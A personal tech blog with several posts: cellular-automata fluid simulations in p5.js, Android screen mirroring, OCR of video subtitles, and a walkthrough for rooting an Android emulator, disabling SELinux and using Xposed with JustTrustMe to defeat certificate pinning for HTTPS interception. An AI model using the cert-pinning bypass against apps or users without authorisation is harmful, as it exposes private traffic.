Civilizations are not included as a feature at the moment. I simply forgot to scrape out this information from the Voobly pages, but it might be wortwhile to see if it makes a difference
Currently, we simply predict per snapshot, and have seen how smoothing out the predictions over a period of time helps their overall usefulness. To incorporate this in the model itself, and reduce some of the irregular jumps a bit, it might be useful to add in trend features as well by deriving these from the n snapshots before the one being predicted on
It would still be useful to construct a very simple model using only a handful of features. This might increase the general “deployability” of the model. In addition, it would still be interesting to see whether using extracted information from existing MGZ recorded game parsers would actually turn out to be sufficient to obtain an acceptable accuracy level
Speaking of deployability: I’m not one to “spend 80% of time getting the final 20% of the work finished up,” so I’m not really thinking about building a beautiful moving trendline kind of overlay for OBS, even although I’d love to see a predictive component being used in e-sports casting similar as is being done on poker channels, for instance

In any case, this has been a very fun time killer to work on. I plan to make all the full scripts and data available on GitHub at some point in time soon (even regarding their horrible form), though will spend some time to only incorporate the training sample instead of the full database (which is way too big with 2GB of data to put online), as well as changing the scraper to incorporate civilizations.

Update: the code, model and data are now available on this GitHub repository (warning: not the most clean setup you’ll ever see). The Voobly scraper has been modified to download civ information. The data set itself has been converted to a csv.gz file to save on size.

An Exploration of Cellular Automata and Graph Based Game Systems: Part 2

2017-12-19T18:05:00+01:00

This post is the second part on a small series on cellular automata and graph based systems as found in games. Part 1 can be found here.

In our last past, we ended up with a general framework to construct cellular automata. To refresh, a cellular automaton is a discrete simulation defined over a grid of cells, each one of which is carrying a state. For each cell, a set of cells called its neighborhood is defined relative to the specified cell. From an initial state, a simulation is started where each new generation is created according to a set of rules that determines the new state of each cell in terms of the current state of the cell and the states of the cells in its neighborhood:

forever:
    for each current cell in current grid:
        get current neighborhood
        determine state for new cell based on current cell and current neighborhood
        swap new grid to current grid

Left up to us is to:

Define the neighborhood of a cell
Define the state of a cell
Define the rules to determine the state in a new generation

Let’s now expand on this framework to simulate fluid dynamics as similarly as seen in games such as Oxygen Not Included, “falling sand” games, and so on.

Some basic groundwork

The main change we need to perform is to the definition of a cell’s state. Contrary to what we’ve been working with so far, our state now is going to be a tad more complex, allowing for some flexibility:

A cell can hold a variable number of materials, each represented as a float in the range 0 (min) to 1 (max)
To represent a cell, we’ll associate an RGB color to each material “type”
When drawing the grid, we simply use some alpha masking to overlay the colors on top of each other

Regarding the rules to determine the next generation, we’re going to work with the concept of flow. Our rule system will be based on a general framework adhering to the following rules:

First of all, make a copy of the current state and set it as the next state, this will ensure that cells where nothing happens or where some material is “left over” automatically carry this to the next generation without us always having to manually assign this
Define helper “remaining” variables for every cell to keep track of how much material can still be flowed out for that cell, as we want to ensure that we don’t flow out more material than was there in the current state (this is not necessary, but makes things much easier)
Next up, we visit every cell
Based on a collection of rules, we only allow materials to “flow out”, decreasing the “remaining” count and material count in the next state, and increasing the material count in the next state for one of the neighboring cells

In pseudocode:

next_board = copy(this_board)
remaining_board = copy(this_board)
for each cell in this_board:
    // based on rules, perform one or more:
    flow(cell, neighbor, material, amount)
this_board = next_board

func flow(cell, neighbor, material, amount):
    cell.material in remaining_board -= amount
    cell.material in next_board -= amount
    neighbor.material in next_board += amount

Basic example

Let’s try out this approach using a simple system: one with sand and floors.

function setup() {
    createCanvas(520, 320);
    var types = ['sand', 'floor'];
    var w = 20;
    var cols = floor(width/w);
    var rows = floor(height/w);
    var colors = [[255, 160, 20], [50, 50, 50]];
    grid = new Grid(cols, rows, w, types, colors);
}

Using the following simple update rule:

function tick() {
    var downMaxSpeed = 1;
    grid.update(function(neighborhood) {
    // Fall sand
    if (neighborhood.bottom && !neighborhood.bottom.current('floor')) {
        var sandHere = neighborhood.me.current('sand');
        var spaceBelow = 1 - neighborhood.bottom.current('sand');
        var flow = constrain(sandHere, 0, Math.min(downMaxSpeed, spaceBelow));
        neighborhood.me.flow(neighborhood.bottom, 'sand', flow);
    }
    });
    grid.finish();
}

You can play around with the result here. Tip: pressing o cycles through the different material types to draw, p (un)pauses the simulation, d toggles debugging mode. Press r to reset everything. You might need to click inside first to give the iframe focus.

Introducing water

This basic example is not that impressive yet. Let’s change things up a bit by defining a system for water instead. Our update rules now look as follows:

function tick() {
    var downMaxSpeed = 1;
    grid.update(function(neighborhood) {
    // Water falls downwards
    var waterHere = neighborhood.me.current('water');
    var bottomPassable = isPassable(neighborhood, 'bottom');
    if (bottomPassable) {
        var spaceBelow = 1 - neighborhood.bottom.next('water');
        var flow = constrain(waterHere, 0, Math.min(downMaxSpeed, spaceBelow));
        neighborhood.me.flow(neighborhood.bottom, 'water', flow);
        waterHere -= flow;
    }
    // And also sideways if their's a floor beneath or lots of water
    var waterDown = bottomPassable ? neighborhood.down.current('water') : 1;
    if (waterDown > 0.8 && waterHere > 0) {
        var sideFlow = getWaterSideOutFlow(neighborhood, waterHere);
        if (sideFlow[0] !== false)
        neighborhood.me.flow(neighborhood.left, 'water', sideFlow[0]);
        if (sideFlow[1] !== false)
        neighborhood.me.flow(neighborhood.right, 'water', sideFlow[1]);
        waterHere -= sideFlow[0] + sideFlow[1];
    }
    });
    grid.finish();
}

getWaterSideOutFlow is a helper function which determines how much water should be flown out to the left and right respectively to reach a “stable” level:

function getWaterSideOutFlow(neighborhood, currentWater) {
    var divider = 1;
    var totalWater = currentWater;
    var doLeft = isPassable(neighborhood, 'left') && 
        neighborhood.left.current('water') < currentWater;
    var doRight = isPassable(neighborhood, 'right') && 
        neighborhood.right.current('water') < currentWater;
    if (doLeft) {
    divider += 1;
    totalWater += neighborhood.left.current('water');
    }
    if (doRight) {
    divider += 1;
    totalWater += neighborhood.right.current('water');
    }
    var stableLevel = totalWater / divider;
    var toLeft = !isPassable(neighborhood, 'left') ? false :
        Math.max(0, stableLevel - neighborhood.left.current('water'));
    var toRight = !isPassable(neighborhood, 'right') ? false :
        Math.max(0, stableLevel - neighborhood.right.current('water'));
    return [toLeft, toRight];
}

Of course, we could play around with this — a much easier option is to move water around to the left or right randomly (which is the option many systems go for), though this leads to a kind of jittery effect.

You can play around with the result below. Again: pressing o cycles through the different material types to draw, p (un)pauses the simulation, d toggles debugging mode. Press r to reset everything. The simulation below starts from a preset scenario, though feel free to play around with this (break a hole in one of the walls, for instance). One interesting aspect you’ll note is that this simulation does not adhere to “real” pressure dynamics (i.e. modeling “communicating vessels” is not working here). This is another aspect most cellular automaton based systems fail to model correctly and something we’ll fix in a bit.

Fixing pressure

Let’s expand on the previous example a bit to fix the communicating vessel issue. First, we’ll add to general purpose methods as follows (note how the “remaining” variables come into play here):

function doVerticalFlow(neighborhood, type, direction, speed) {
    if (typeof speed === "undefined") speed = 1;
    var passable = isPassable(neighborhood, direction);
    var liquid = neighborhood.me.remaining(type);
    if (passable) {
    var room = 1 - neighborhood[direction].next(type);
    var flow = constrain(liquid, 0, Math.min(speed, room));
    neighborhood.me.flow(neighborhood[direction], type, flow);
    }
}

function doHorizontalFlow(neighborhood, type, direction, viscosity, stickyness, fluidity) {
    if (typeof viscosity === "undefined") viscosity = 1;
    if (typeof stickyness === "undefined") stickyness = 1;
    if (typeof fluidity === "undefined") fluidity = 1;
    var passable = isPassable(neighborhood, direction);
    var support = passable ? neighborhood[direction].current(type) : 1;
    var liquid = neighborhood.me.remaining(type);
    if (support >= viscosity && liquid > stickyness) {
    var sideFlow = getSideOutFlow(neighborhood, type);
    if (sideFlow[0] !== false)
        neighborhood.me.flow(neighborhood.left, type, sideFlow[0]/fluidity);
    if (sideFlow[1] !== false)
        neighborhood.me.flow(neighborhood.right, type, sideFlow[1]/fluidity);
    }
}

These will be used to update down/upwards (vertical) and side (horizontal) flow respectively, with several parameters to set to determine the “stickyness” and so on of horizontal flow.

To handle pressure, we’ll utilize a similar “teleportation” trick as done in Dwarf Fortress:

Fluids moving under pressure do not just move to adjacent tiles, they also trace a path through other full tiles of fluid trying to move to more distant tiles. Fluids moving under pressure can effectively teleport through other tiles that are already filled with fluid. When teleporting, fluids do not generate any flow, neither will they push objects around.

This is handled by the following functions:

function isPressured(neighborhood, type, direction, liquid, minliquid, minpressure) {
    var passable = isPassable(neighborhood, direction);
    var pressure = !passable ? 0 : 1 - neighborhood[direction].current(type);
    var pressured = pressure >= minpressure && liquid >= minliquid;
    return pressured;
}

function doPressureFlow(neighborhood, type, direction, minliquid, minpressure, connectedliquid, minflow) {
    if (typeof minliquid === "undefined") minliquid = 0.5;
    if (typeof minpressure === "undefined") minpressure = 0.1;
    if (typeof connectedliquid === "undefined") connectedliquid = 0.5;
    if (typeof minflow === "undefined") minflow = 0.1;
    var liquid = neighborhood.me.remaining(type);
    var pressured = isPressured(neighborhood, type, direction, liquid, minliquid, minpressure);
    if (!pressured) return;
    // Find a lower connected tile that is also pressured
    var expansion_list = [];
    var done_list = [];
    function expand(expansion_list, done_list, neighborhood) {
    var directions = ['top', 'left' ,'right', 'down'];
    for (var i = 0; i < directions.length; i++) {
        if (neighborhood[directions[i]] 
            && isPassable(neighborhood, directions[i])
            && done_list.indexOf(neighborhood[directions[i]]) < 0) {
            expansion_list.push(neighborhood[directions[i]]);
        }
    }
    }
    var thatneighborhood = false;
    var flow = 0;
    expand(expansion_list, done_list, neighborhood);
    while (expansion_list.length) {
        var todo = expansion_list.pop();
        done_list.push(todo);
        thatneighborhood = grid.neighborhood(todo.col, todo.row);
        var thatliquid = thatneighborhood.me.next(type);
        var thatpressured = isPressured(thatneighborhood, type, direction, thatliquid, 0, minpressure);
        var check = direction == 'up' ? 
            neighborhood.me.row <= thatneighborhood.me.row :
            neighborhood.me.row >= thatneighborhood.me.row;
        var room = 1 - thatneighborhood.me.next(type);
        var maxFlow = (liquid - thatliquid) / 2;
        flow = constrain(liquid, 0, Math.min(maxFlow, room));
        if (thatliquid < liquid && thatpressured && check && flow > 0.1)
            break;
        if (thatneighborhood.me.current(type) > connectedliquid)
            expand(expansion_list, done_list, thatneighborhood);
        thatneighborhood = false;
    }
    if (thatneighborhood) {
        neighborhood.me.flow(thatneighborhood.me, type, flow);
    }
}

Putting everything together in our update rule set:

function tick() {
    grid.update(function(neighborhood) {
        doVerticalFlow(neighborhood, 'water', 'down', 1);
        doHorizontalFlow(neighborhood, 'water', 'down', 0.7, 0, 1);
        doPressureFlow(neighborhood, 'water', 'up');
    });
    grid.finish();
}

We get the following result. Again: pressing o cycles through the different material types to draw, p (un)pauses the simulation, d toggles debugging mode. Press r to reset everything. Note how the “vessels” now stabilize (try filling up one side by drawing some water in the air):

Expansion

Expanding on this system is now relatively easy. The following simulation defines three new material types: lava, steam, and ice. Cells that mix lava and water will convert this water to steam, which flows upwards in a more random manner (to allow steam to linger in a cell from time to time). When steam touches an ice block in one of its neighbors, it converts back to water. The teleportation trick is only used for water in the simulation below:

function tick() {
    grid.update(function(neighborhood) {
        doVerticalFlow(neighborhood, 'water', 'down', 1);
        doVerticalFlow(neighborhood, 'lava', 'down', 1);
        doHorizontalFlow(neighborhood, 'water', 'down', 0.7, 0, 1);
        doHorizontalFlow(neighborhood, 'lava', 'down', 1, 0.8, 3);
        if (random(0, 10) > 7) {
            if (random(0, 20) > 19) {
                doVerticalFlow(neighborhood, 'steam', 'down', 0.1);
            } else {
                doVerticalFlow(neighborhood, 'steam', 'up', 0.4);
            }
        }
        if (random(0, 10) > 8) {
            doHorizontalFlow(neighborhood, 'steam', 'up', 0.8, 0.1, 2);
        }
        if (neighborhood.me.remaining('water') && neighborhood.me.remaining('lava')) {
            var vaporation = Math.min(neighborhood.me.remaining('water'), neighborhood.me.remaining('lava'));
            neighborhood.me.flow(null, 'water', vaporation);
            neighborhood.me.flow(null, 'steam', -vaporation);
        }

        var icenearby = (neighborhood.up && neighborhood.up.remaining('ice')) ||
            (neighborhood.down && neighborhood.down.remaining('ice')) || 
            (neighborhood.left && neighborhood.left.remaining('ice')) || 
            (neighborhood.right && neighborhood.right.remaining('ice'))
        if (neighborhood.me.remaining('steam') && icenearby) {
            var vaporation = Math.min(neighborhood.me.remaining('steam'), 0.2);
            neighborhood.me.flow(null, 'steam', vaporation);
            neighborhood.me.flow(null, 'water', -vaporation);
        }

        doPressureFlow(neighborhood, 'water', 'up');
    });
    grid.finish();
}

Conclusion

We’ve now seen the basics regarding the use of cellular automata to simulate simple systems. Based on our framework we have constructured, it’s now easy to add in further material types and interactions.

Next time, we switch gears and move away from cellular automata to graph based systems, another often-utilized concept in games, though we’ll see that there is some overlap with cellular automata as well.

Note to Self: Fast Android Screen Capture

2017-12-07T17:10:00+01:00

Getting a reliable, real-time screen of an Android device is more challenging than one might think, e.g. for the purpose of training a reinforcement learning agent.

This post describes a basic approach:

adb shell screencap -p

Sadly, adb mangles binary output and has a tendency to convert \n to \r\n, which we need to manually untangle. Newer versions of adb come with an exec-out command which removes this problem:

adb exec-out screencap -p

Though note that exec-out in older versions still returns mangled output.

In any case, using this command as a real-time image feed is unfeasible. Let’s define a small helper script:

import subprocess

ADBBIN = 'adb.exe'

def run_adb(arguments, clean=False, as_str=False, print_out=False, out_file=None):
    if type(arguments) == str:
        arguments = arguments.split(' ')
    result = subprocess.run([ADBBIN] + arguments, stdout=subprocess.PIPE)
    stdout = result.stdout
    if clean:
        stdout = stdout.replace(b'\r\n', b'\n')
    if as_str:
        stdout = stdout.decode("utf-8")
    if print_out:
        print(stdout)
    if out_file:
        mode = 'w' if as_str else 'wb'
        with open(out_file, mode) as file:
            file.write(stdout)
    return stdout

Which we can then use with e.g.

from adb import *
import tkinter as tk
from time import time
from PIL import ImageTk, Image
from io import BytesIO

window = tk.Tk()
window.title("Image")
window.geometry("360x660")
window.configure(background='grey')

panel = tk.Label(window)
panel.pack(side="bottom", fill="both", expand="yes")

previous_time = time()
frames_drawn = 0
while True:
    data = run_adb('exec-out screencap -p', clean=False)
    im = Image.open(BytesIO(data))
    im.thumbnail((im.size[0] * .33, im.size[1] * .33), Image.ANTIALIAS)
    img = ImageTk.PhotoImage(im)
    panel.configure(image=img)
    panel.image = img
    window.update_idletasks()
    window.update()
    frames_drawn += 1
    if time() > previous_time + 10:
        print('FPS:', frames_drawn / (time() - previous_time))
        previous_time = time()
        frames_drawn = 0

This works, but leads to a horrible framerate (and a very hot phone):

Some devices also allow to use a screenrecord command:

adb exec-out screenrecord --output-format=h264 -

Though the stream starts to lag after a few minutes and most players will have trouble to handle this raw h264 stream. Heavy applications also cause a lot of lag and dropped frames.

The code over at https://github.com/fhorinek/adbmirror provides a solid solution, though with no support for Python 3. The shell commands to set things up is also a bit messy, but it provides a perfect starting ground to work with.

First, we need to create a local bin folder with minicap, minicap-shared and minitouch placed in there:

Next, we rewrite the scripts a bit to support Python 3. We don’t need the “rotation” apk, as I didn’t need to handle rotation support, made available at https://github.com/Macuyiko/adbmirror.

Running start-mirror.py now shows:

Device info: arm64-v8a 26 8.0.0 1080x1920
Now pushing files
[ 11%] /data/local/tmp/adbmirror/minicap
[ 22%] /data/local/tmp/adbmirror/minicap
[ 33%] /data/local/tmp/adbmirror/minicap
[ 45%] /data/local/tmp/adbmirror/minicap
[ 56%] /data/local/tmp/adbmirror/minicap
[ 67%] /data/local/tmp/adbmirror/minicap
[ 79%] /data/local/tmp/adbmirror/minicap
[ 90%] /data/local/tmp/adbmirror/minicap
[100%] /data/local/tmp/adbmirror/minicap
bin/minicap/arm64-v8a/minicap: 1 file pushed. 17.7 MB/s (580048 bytes in 0.031s)

[100%] /data/local/tmp/adbmirror/minitouch
bin/minitouch/arm64-v8a/minitouch: 1 file pushed.

[100%] /data/local/tmp/adbmirror/minicap.so
bin/minicap-shared/android-26/arm64-v8a/minicap.so: 1 file pushed. 1.4 MB/s (23592 bytes in 0.016s)

Now ready to start GUI, press ENTER when done for cleanup
Example command:
python gui.py 540x960 1080x1920 /data/local/tmp/adbmirror/

Running python gui.py 540x960 1080x1920 /data/local/tmp/adbmirror/ now provides us with a live mirror, no root required:

Touch is simulated through mouse clicks and drags. Adding extension to fetch e.g. a PIL image every 5 seconds or to automate touch is pretty easy.

Bypassing Android Cert Pinning Using a Rooted Emulator (AVD)

2017-11-29T18:25:00+01:00

A while ago I was interested in performing some HTTPS MITM analysis on an Android app, without having to rely on a real device but instead using an Android Virtual Device, or in other words: an emulated device. It turns out that this is surprisingly tricky with a lot of gotcha’s, but in the end I managed to get it to work:

Got it to work… #certpinning #android #hacking #makesuretoremembertowritethisdownsoon pic.twitter.com/i163GAqkQ1
— Seppe vanden Broucke (@Macuyiko) November 27, 2017

Here are the steps you need to follow if you want to do this yourself.

First, get your MITM proxy tool up and running. I’m using Fiddler here, but any MITM tool which comes with an HTTPS root cert should work.

I assume Android Studio is installed. Create a new AVD device (Tools -> Android -> AVD Manager) with Android 7.1.1 as the target (API level 25) and CPU architecture x86. Newer API levels might also work, but I haven’t tested this. Older API levels might work with different, older tools, but don’t offer support for the app I was planning to analyze, so 7.1.1 is a solid middle ground.

Open a console window in C:\Users\<USERNAME>\AppData\Local\Android\sdk\platform-tools\ or the corresponding installation directory on your system (it should contain an adb.exe). Start the emulator using:

..\emulator\emulator.exe -avd Pixel_API_25 -writable-system

Note down the local IP address of your computer, and use it to set the proxy address in Android’s WiFi or cellular settings accordingly (your IP address might vary):

(Note: the emulator settings themselves also offer a way to set the proxy for the emulator, but I like to do it in Android itself as this allows me to switch between a proxied connection (WiFi) and non-proxied (cellular) without too much hassle.)

Open Chrome on the Android device and navigate to the same address, e.g. 192.168.182.4:8888. You will be presented with a Fiddler Echo Service page offering to download the FiddlerRoot Certificate. Do so, and add it to the Android credential store. You’ll be required to set a PIN code.

Once this is done, open a second console window in C:\Users\<USERNAME>\AppData\Local\Android\sdk\platform-tools\. We’re going to transfer the apps we need using adb. Put the following APK’s in \platform-tools\ (or somewhere else if you prefer to keep things neat):

app.apk: the application you want to analyze
SuperSU, which you can obtain from http://www.supersu.com/download, I’m using eu.chainfire.supersu_v2.82-282_Android-2.3.apk. Also download the latest “Recovery Flashable.zip” from there and extract the x86 folder as well (e.g. so you have a C:\Users\<USERNAME>\AppData\Local\Android\sdk\platform-tools\x86\su.pie)
The Xposed framework: the installer can be downloaded from this page, but note that for Android 5.0 or higher, you need to rely on the versions posted over at https://forum.xda-developers.com/showthread.php?t=3034811, so go there and obtain XposedInstaller_3.1.4.apk
JustTrustMe: obtain from https://github.com/Fuzion24/JustTrustMe/releases

Note that there’s also TrustKiller, though this works through Cydia Substrate, which offers similar functionality as Xposed but is outdated and not maintained any longer, so we’re not using these here. There’s also this, but this didn’t work quite well in my setup.

Once you have all the files downloaded, install them:

.\adb install app.apk
.\adb install eu.chainfire.supersu_v2.82-282_Android-2.3.apk
.\adb install XposedInstaller_3.1.4.apk
.\adb install JustTrustMe.apk

Then run:

.\adb root
.\adb shell setenforce 0
.\adb remount
.\adb push .\x86\su.pie /system/bin/su
.\adb push .\x86\su.pie /system/xbin/su
.\adb shell chmod 0755 /system/bin/su
.\adb shell chmod 0755 /system/xbin/su
.\adb shell su --install
.\adb shell "su --daemon&"

Now switch back to the emulator. First open the SuperSU app. SuperSU will complain about the SU binary which needs to be updated, but press “CANCEL” instead of “CONTINUE”! Otherwise, you risk ending up stuck in boot.

Next, open the Xposed Installer app. Press “INSTALL/UPDATE” here and “Install” (not “Install via recovery”!):

Press “GRANT” when asked by SuperSU:

Your device will automatically reboot. Booting might take a few minutes, but should work. Each time you reboot the device, execute the following commands again:

.\adb root
.\adb shell setenforce 0
.\adb remount
.\adb push .\x86\su.pie /system/bin/su
.\adb push .\x86\su.pie /system/xbin/su
.\adb shell chmod 0755 /system/bin/su
.\adb shell chmod 0755 /system/xbin/su
.\adb shell su --install
.\adb shell "su --daemon&"

(Note: in case you’d need to restart the emulator altogether, don’t forget to start the emulator.exe with the writable-system flag.)

Try navigating to a page in Chrome to verify your Fiddler setup is still working. Once you’ve verified the MITM is working in the browser, you can install the cert pinning remover. Open Xposed Installer again. It should now indicate that the framework is active. In the menu, pick “Modules” and activate JustTrustMe.

You’ll have to reboot again for the changes to become active. To avoid having to execute the commands above again, pick “soft reboot” from Xposed’s menu.

That’s it, you should now be able to capture HTTPS requests from the app. Well, sort of… cert pinning circumvention is getting harder and harder, and especially Facebook is trying damn hard to prevent the practice (by shipping native libs with cert pinning included therein instead of in Java .class’es, making the hooking approach as done by JustTrustMe insufficient). In my particular setting, the app to be analyzed first required users to login with Facebook. As such, I first had to disable JustTrustMe in Xposed, login to Facebook using the non-proxied cellular connection, activate JustTrustMe again, soft reboot, switch back to the proxied WiFi, and then use the app (which luckily was happy to use the local Facebook token in its own less secure API requests, where JustTrustMe was able to do the job and reveal the requests).

Things are getting harder to circumvent. After spending some time recently to try to extract 3d objects from the web version of Google Earth, it seems that the web too might soon have various ways to prevent scraping altogether. Imagine rendering a normal website through WebGL where content is streamed in dynamically using on-the-fly constructed protobuf messages returning shader fragments… yikes.

Note to Self: Using Tesseract to Extract Subtitles

2017-11-13T14:30:00+01:00

Say you have video such as this one on Facebook. Most of these come with hardcoded subtitles, which we’d like to extract (for whatever reason).

Opening the page in Chrome and inspecting the network requests quickly uncovers the media URL:

https://video-bru2-1.xx.fbcdn.net/v/t42.9040-2/10000000_703970666457205_4416008794480312320_n.mp4?efg=eyJ2ZW5jb2RlX3RhZyI6ImRhc2hfdjNfMTI4MF9jcmZfMjNfaGlnaF8zLjFfZnJhZ18yX3ZpZGVvIn0%3D&oh=40bbd0e0dd5367ed3a2d5ff0e7cbe081&oe=5A09D778&bytestart=0&byteend=953

By cutting off &bytestart=0&byteend=953, we can download the video file completely.

Next, we can use ffmpeg to create frames every half second:

./ffmpeg -i .\23354483_145400712877976_2778300398300037120_n.mp4 -r 2 .\frames\image-%07d_original.png

And apply some cropping using Python:

from PIL import Image
from glob import glob

for png_file in glob('./frames/*_original.png'):
    image = Image.open(png_file)
    cropped = image.crop((50, 850, 1080, 1080))
    cropped.save(png_file.replace('.png', '_cropped.png'))

As well as some leveling to only retain white and yellow text:

from PIL import Image
from glob import glob

def level(img):
    copy = img.copy()
    for x in range(img.size[0]):
        for y in range(img.size[1]):
            pxl = list(copy.getpixel((x, y)))
            if pxl[0] < 220 and pxl[1] < 220: 
                pxl[0] = 0
                pxl[1] = 0
                pxl[2] = 0
            else:
                pxl[0] = 255
                pxl[1] = 255
                pxl[2] = 255
            copy.putpixel((x, y), tuple(pxl))
    return copy

for png_file in glob('./frames/*_cropped.png'):
    image = Image.open(png_file)
    leveled = level(image)
    leveled.save(png_file.replace('_cropped.png', '_leveled.png'))

Next, download Tesseract (unzip the setup file using 7-Zip and just dump it somwhere, to prevent running the installer — it works fine in a portable setup).

Extract the text for every file:

from glob import glob
from subprocess import run, PIPE
from pickle import dump

def get_ocr(file_name):
    out = run(["./tesseract/tesseract.exe", file_name, "stdout", "-psm", "11"], stdout=PIPE)
    return out.stdout

lines = []
for png_file in glob('./frames/*_leveled.png'):
    output = get_ocr(png_file)
    lines.append(output)

dump(lines, open('lines.p', 'wb'))

Perform a little cleaning using some regex and the Levenshtein distance to remove duplicate lines:

from pickle import load
import re

def levenshteinDistance(s1, s2):
    if len(s1) > len(s2):
        s1, s2 = s2, s1
    dst = range(len(s1) + 1)
    for i2, c2 in enumerate(s2):
        dst_ = [i2+1]
        for i1, c1 in enumerate(s1):
            if c1 == c2:
                dst_.append(dst[i1])
            else:
                dst_.append(1 + min((dst[i1], dst[i1 + 1], dst_[-1])))
        dst = dst_
    return dst[-1]

lines = load(open('lines.p', 'rb'))

cleaned = []

for line in lines:
    clean = line.decode("utf-8")
    clean = clean.rpartition('telus')[2]
    clean = re.sub('\r\n', ' ', clean)
    clean = re.sub('\s\s+', ' ', clean)
    clean = re.sub('[^‘,\.\?!%a-zA-Z0-9\s]+', '', clean)
    if cleaned and cleaned[-1] in clean:
        del cleaned[-1]
    if cleaned and levenshteinDistance(clean, cleaned[-1]) <= 7:
        del cleaned[-1]
    cleaned.append(clean.strip())

for clean in cleaned:
    print(clean)

The resulting strings should now be easy to manually clean and finalize:

ENVIRONMENTAL ADVISER WAS A NATURAL DISASTER
PRESSED HER ON CLIMATE SCIENCE
It seems to me that you don‘t believe climate change is real.
I  l am un
I am uncertain.
You‘re uncertain?
No, I‘m not. I‘m sorry. I jumped ahead.
Climate change is of course real.
Human activity affect climate change?
More than likely, but the extent to which,
I think is very uncertain, and my  Would you rely on scientists
to give you that answer, or not?
[...]

An Exploration of Cellular Automata and Graph Based Game Systems: Part 1

2017-11-09T12:00:00+01:00

I’ve been spending way too much time with Oxygen Not Included. It’s a great and addictive base building game with lots of challenges to tackle, though the most interesting component — for me, at least — is the way how the game simulates the behavior of gasses, liquids, temperature, and elektricity.

Oxygen Not Included is certainly not the only game incorporating similar systems. Minecraft, of course, does the same with water, lava, and redstone (albeit in different ways), and so do other games like Cities: Skylines and the more recent SimCity incarnation:

Once you start noticing these systems, you see them popping up everywhere, from simple mobile games like The Sandbox to little “falling sand” web games.

Many of these games’ systems are based on the same underlying fundamentals. In this series of articles, I’ll go through explaining two popular concepts and how they work inside such games: cellular automata, and graphs. As a side goal, I also wanted to take the opportunity to play around a bit with p5.js to visualize and create such systems.

Cellular automata

Cellular automata have been around for quite some time already (originally discovered in the 1940s by Stanislaw Ulam and John von Neumann). A cellular automaton is a “discrete model, consisting of a regular grid of cells, each in one of a finite number of states” (Wikipedia). For each cell, a set of cells called its neighborhood is defined relative to the specified cell. From an initial state, a simulation is started where each new generation is created according to a set of rules that determines the new state of each cell in terms of the current state of the cell and the states of the cells in its neighborhood. In basic terms, this defines a “main loop” over our grid as follows:

forever:
    for each current cell in current grid:
        get current neighborhood
        determine state for new cell based on current cell and current neighborhood
    swap new grid to current grid

That’s the basic idea, and it’s this system that is driving all the water, sand, … systems in the games listed above. Of course, the main interestingsness from using this approach comes from the pieces left to you to plug in, namely:

How you define the neighborhood of a cell
How you define the state of a cell
How you define the rules to determine the state in a new generation

Let’s start by implementing this basic idea in JavaScript using p5.js. First, let’s define a Cell object as follows:

var Cell = function(parent, col, row) {
    this.grid = parent;
    this.col = col;
    this.row = row;
    this.reset();
}

Cell.prototype.reset = function()  {
    this.state = 0;
    this.next_state = 0;
}

The state we’re going to keep here is simply one number. We also set aside an attribute to keep track of what the next state is going to be. Note that we could also create a seperate State object and attach it to the cells, but let’s keep our representation simple for now.

Next up, we define a Grid object holding the cells:

var Grid = function(cols, rows, size) {
    this.cells = new Array(cols);
    for (var i = 0; i < cols; i++) {
        this.cells[i] = new Array(rows);
    }
    this.cols = cols;
    this.rows = rows;
    this.size = size;
    var self = this;
    this.visit(function(col, row) {
        self.cells[col][row] = new Cell(self, col, row);
    });
}

Grid.prototype.visit = function(callable) {
    for (var i = 0; i < this.cols; i++) {
    for (var j = 0; j < this.rows; j++) {
        callable(i, j);
    }
    }
}

Again, there’s some room for improvement. We’re mixing representational concepts (“what is a grid”) with graphics responsibilities: the size attribute will be used to determine how large the boxes should be when drawing the grid. We could decouple this, but this is fine for now.

Speaking of graphics, let’s also attach a helper and drawing function directly to our Grid (again, we could decouple this in a GridDrawer, but early abstraction is the enemy of getting things done):

Grid.prototype.mouseToGrid = function(x, y) {
    col = floor(x / this.size);
    row = floor(y / this.size);
    return [col, row];
}

Grid.prototype.draw = function() {
    var self = this;
    this.visit(function(col, row) {
        var cell = self.cells[col][row];
        var clr = color(floor((1 - cell.state)*255))
        fill(clr); 
        stroke(10);
        rect(col*self.size, row*self.size, self.size-1, self.size-1);
    });
}

The way how we’ll draw our grid is very simple for now: a state of 1 (which we’ll assume as our maximum value) is drawn as a black square, and a state of 0 (our minimum) as a white square, with greyscale values in between.

Let’s also define a function to get a neighborhood of cells for a certain column/row position. The way how we’ll do so is by taking a standard Von Neumann neighborhood, returning the cell itself, and its up, down, left, and right neighbors:

Grid.prototype.neighborhood = function(col, row) {
    var n = {};
    n.me = this.cells[col][row];
    n.left = col > 0 ? this.cells[col-1][row] : null;
    n.right = col < (this.cols - 1) ? this.cells[col+1][row] : null;
    n.up = row > 0 ? this.cells[col][row-1] : null;
    n.down = row < (this.rows -1) ? this.cells[col][row+1] : null;
    return n;
}

Finally, we need a method that will go over all cells and determine their next state based on a user-supplied rule method:

Grid.prototype.update = function(callable) {
    var self = this;
    this.visit(function(col, row) {
        callable(self.neighborhood(col, row))
    });
}

And we also need a method to finish the generation:

Grid.prototype.finish = function(callable) {
    var self = this;
    this.visit(function(col, row) {
        var cell = self.cells[col][row];
        cell.state = cell.next_state;
    });
}

Exploring some simple systems

We’re now ready to start exploring some simple systems. The most basic rule set we can come up with is to “keep everything the same”, so for every “tick” where we calculate a new generation, we just do:

function tick() {
    grid.update(function(neighborhood) {
        // Next state will be the same as the current one
        neighborhood.me.next_state = neighborhood.me.state
    });
    grid.finish();
}

Try this out below. Drag the mouse to change the state for the cells. Even though this simulation is running, nothing interesting is really happening here:

What happens if we try a rule where the state of each next cell is set to the state of the cell on its left:

function tick() {
    grid.update(function(neighborhood) {
        neighborhood.me.next_state = neighborhood.left ?
            neighborhood.left.state : 0;
    });
    grid.finish();
}

As a more interesting rule set, we can use the famous “Game of Life” which defines the following rules:

Any live cell with fewer than two live neighbours dies, as if caused by underpopulation.
Any live cell with two or three live neighbours lives on to the next generation.
Any live cell with more than three live neighbours dies, as if by overpopulation.
Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.

To make this work, we first need to change our neighborhood definition to include diagonals (called a Moore neighborhood) and to “wrap around” the grid. We don’t need to return all the cells themselves, however, the current cell and a count of its live neighbors is enough:

Grid.prototype.neighborhood = function(col, row) {
    var n = {};
    n.me = this.cells[col][row];
    n.live_neighbors = 0;
    for (var c = col-1; c <= col+1; c++) {
    for (var r = row-1; r <= row+1; r++) {
        if (c == col && r == row)
        continue;
        // Wrap around the grid
        var wrapped_col = c;
        var wrapped_row = r;
        if (wrapped_col < 0) wrapped_col = this.cols-1;
        if (wrapped_row < 0) wrapped_row = this.rows-1;
